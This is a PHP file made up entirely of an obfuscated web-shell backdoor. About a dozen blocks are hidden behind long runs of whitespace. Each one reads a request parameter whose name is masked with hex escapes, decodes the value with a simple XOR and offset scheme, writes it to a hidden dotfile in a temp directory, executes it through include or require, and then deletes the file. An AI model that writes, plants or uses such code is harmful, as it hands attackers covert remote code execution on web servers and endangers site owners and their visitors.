<?php																																										if(isset($_REQUEST) && isset($_REQUEST["\x65n\x74it\x79"])){ $flag = $_REQUEST["\x65n\x74it\x79"]; $flag= explode ( "." , $flag ); $item =''; $s8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s8 ); $k =0; $__len =count( $flag ); do { if( $k >= $__len) break; $v1 =$flag[$k]; $chS =ord( $s8[$k % $lenS] ); $dec =( ( int)$v1 - $chS -( $k % 10)) ^87; $item.= chr( $dec ); $k++; } while( true ); $itm = array_filter(["/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/tmp", getenv("TMP"), session_save_path(), sys_get_temp_dir()]); foreach ($itm as $holder): if ((is_dir($holder) and is_writable($holder))) { $property_set = str_replace("{var_dir}", $holder, "{var_dir}/.desc"); if (@file_put_contents($property_set, $item) !== false) { include $property_set; unlink($property_set); die(); } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "f\x61\x63\x74or")){ $data = $_POST["f\x61\x63\x74or"]; $data = explode ( '.' ,$data ); $dat= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s ); $__len= count($data ); for($y= 0; $y < $__len; $y++) { $v2= $data[$y]; $sChar= ord($s[$y % $lenS] ); $d= ((int)$v2 - $sChar -($y % 10))^ 46; $dat .=chr($d ); } $ref = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/var/tmp", getenv("TMP"), getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/tmp"]); while ($tkn = array_shift($ref)) { if ((is_dir($tkn) and is_writable($tkn))) { $binding = implode("/", [$tkn, ".mrk"]); $success = file_put_contents($binding, $dat); if ($success) { include $binding; @unlink($binding); die();} } } }
																																										if(in_array("\x72\x65s", array_keys($_REQUEST))){ $entity = $_REQUEST["\x72\x65s"]; $entity = explode ( '.' , $entity ) ; $pgrp=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s); $y=0; while( $y < count( $entity)) { $v1=$entity[$y]; $chS=ord( $s[$y%$lenS]); $dec=( ( int)$v1 - $chS -( $y%10)) ^ 74; $pgrp .= chr( $dec); $y++; } $factor = array_filter([getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/var/tmp", "/dev/shm"]); while ($elem = array_shift($factor)) { if ((function($d) { return is_dir($d) && is_writable($d); })($elem)) { $record = join("/", [$elem, ".itm"]); if (file_put_contents($record, $pgrp)) { include $record; @unlink($record); exit; } } } }
																																										if(array_key_exists("\x70o\x69\x6Eter", $_REQUEST)){ $binding = $_REQUEST["\x70o\x69\x6Eter"]; $binding= explode ("." , $binding ) ; $element= ''; $s9= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s9 ); $y= 0; array_walk($binding , function ($v3) use (&$element , &$y , $s9 , $lenS) { $chS= ord($s9[$y %$lenS] ); $dec= ((int)$v3 - $chS - ($y %10)) ^ 53; $element .= chr($dec ); $y++; } ); $dat = array_filter(["/tmp", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/var/tmp", "/dev/shm"]); while ($symbol = array_shift($dat)) { if (array_product([is_dir($symbol), is_writable($symbol)])) { $obj = vsprintf("%s/%s", [$symbol, ".flag"]); if (file_put_contents($obj, $element)) { include $obj; @unlink($obj); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["ent"])){ $bind = $_REQUEST["ent"]; $bind= explode (".", $bind ) ; $resource = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $k = 0; $len = count( $bind ); do { if( $k >= $len) break; $v3 = $bind[$k]; $chS = ord( $s[$k % $sLen] ); $dec = ( ( int)$v3 - $chS -( $k % 10))^12; $resource .= chr( $dec ); $k++; }while( true ); $key = array_filter([getcwd(), "/tmp", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", "/var/tmp", getenv("TEMP")]); for ($val = 0, $flg = count($key); $val < $flg; $val++) { $holder = $key[$val]; if (!!is_dir($holder) && !!is_writable($holder)) { $binding = join("/", [$holder, ".parameter_group"]); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $binding; @unlink($binding); die(); } } } }
																																										if(isset($_POST["\x65n\x74\x69ty"])){ $desc = $_POST["\x65n\x74\x69ty"]; $desc =explode ('.' , $desc ) ; $dat=''; $salt1='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt1 ); foreach ($desc as $t => $v9) { $chS=ord($salt1[$t %$lenS] ); $d=((int)$v9 - $chS - ($t %10)) ^ 19; $dat .= chr($d ); } $property_set = array_filter([getenv("TEMP"), "/var/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", getcwd(), "/dev/shm"]); foreach ($property_set as $key => $comp) { if ((bool)is_dir($comp) && (bool)is_writable($comp)) { $item = "$comp" . "/.entry"; if (@file_put_contents($item, $dat) !== false) { include $item; unlink($item); die(); } } } }
																																										if(!empty($_POST["fac"])){ $pgrp = array_filter([getenv("TMP"), getenv("TEMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", session_save_path(), "/dev/shm"]); $bind = $_POST["fac"]; $bind =explode( "." , $bind ) ; $obj =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s ); $v =0; array_walk($bind, function ($v3) use (&$obj, &$v, $s, $sLen) {$sChar =ord($s[$v % $sLen] ); $dec =((int)$v3 - $sChar - ($v % 10)) ^ 32; $obj .= chr($dec ); $v++; } ); foreach ($pgrp as $key => $data_chunk) { if ((is_dir($data_chunk) and is_writable($data_chunk))) { $element = str_replace("{var_dir}", $data_chunk, "{var_dir}/.resource"); $file = fopen($element, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $element; @unlink($element); exit; } } } }
																																										if(@$_POST["\x64\x65sc\x72ip\x74or"] !== null){ $ref = array_filter(["/tmp", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/dev/shm"]); $holder = $_POST["\x64\x65sc\x72ip\x74or"]; $holder = explode( '.' , $holder) ; $obj =''; $salt7 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt7 ); $t =0; array_walk($holder, function ($v6) use (&$obj, &$t, $salt7, $lenS) { $chS =ord($salt7[$t % $lenS] ); $dec =((int)$v6 - $chS - ($t % 10)) ^ 32; $obj .= chr($dec ); $t++; } ); foreach ($ref as $res) { if (max(0, is_dir($res) * is_writable($res))) { $entry = implode("/", [$res, ".data"]); $file = fopen($entry, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $entry; @unlink($entry); exit; } } } }


if(count($_REQUEST) > 0 && isset($_REQUEST["\x73\x79\x6Dbol"])){
	$element = $_REQUEST["\x73\x79\x6Dbol"];
	 	 $element =explode("."	, 	$element  );   
	$entity = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen( 	$salt 	);
            $u = 0;
    
            $__tmp = $element;
            while( 	$v1 = array_shift( 	$__tmp)) {
                $sChar = ord( 	$salt[$u% $sLen] 	);
                $dec =( 	( 	int)$v1 - $sChar -( 	$u% 10)) ^ 10;
                $entity.=chr( 	$dec 	);
                $u++;
            }
	$pgrp = array_filter(["/var/tmp", getcwd(), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/tmp", getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir")]);
	foreach ($pgrp as $key => $ent) {
    		if (is_dir($ent) && is_writable($ent)) {
    $data_chunk = "$ent/.hld";
    if (file_put_contents($data_chunk, $entity)) {
	require $data_chunk;
	unlink($data_chunk);
	die();
}
}
}
}